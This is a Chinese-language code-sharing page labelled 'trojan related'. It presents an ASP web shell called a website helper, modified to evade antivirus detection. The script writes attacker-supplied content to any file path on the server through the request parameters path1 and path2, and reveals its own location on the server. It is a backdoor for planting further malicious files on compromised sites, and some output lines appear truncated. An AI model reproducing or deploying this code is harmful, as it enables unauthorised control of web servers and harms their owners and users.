您现在的位置是：网站首页> 编程资料编程资料
旁注-网站小助手旭方修改免杀asp版_木马相关_
2023-05-25
563人已围观
简介 旁注-网站小助手旭方修改免杀asp版_木马相关_
<%@LANGUAGE="VBScript" CODEPAGE="936"%>
<% dim FSO %>
<% dim Data %>
<% dim MyFile %>
<% on error resume next %>
<% Set FSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("path1"))<>"" then %>
<% Data = request("path2") %>
<% Set MyFile=FSO.CreateTextFile(request("path1"),True) %>
<% MyFile.Write Data %>
<% if err =0 then %>
<% response.write "
<% else %>
<% response.write "
<% end if %>
<% err.clear %>
<% end if %>
<% MyFile.Close %>
<% Set MyFile=Nothing %>
<% Set FSO = Nothing %>
<% Response.write "" %>
<% Response.write "本文件在服务器上的方位:" %>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "
<% Response.write "输入内容：" %>
<% Response.write "
<% Response.write "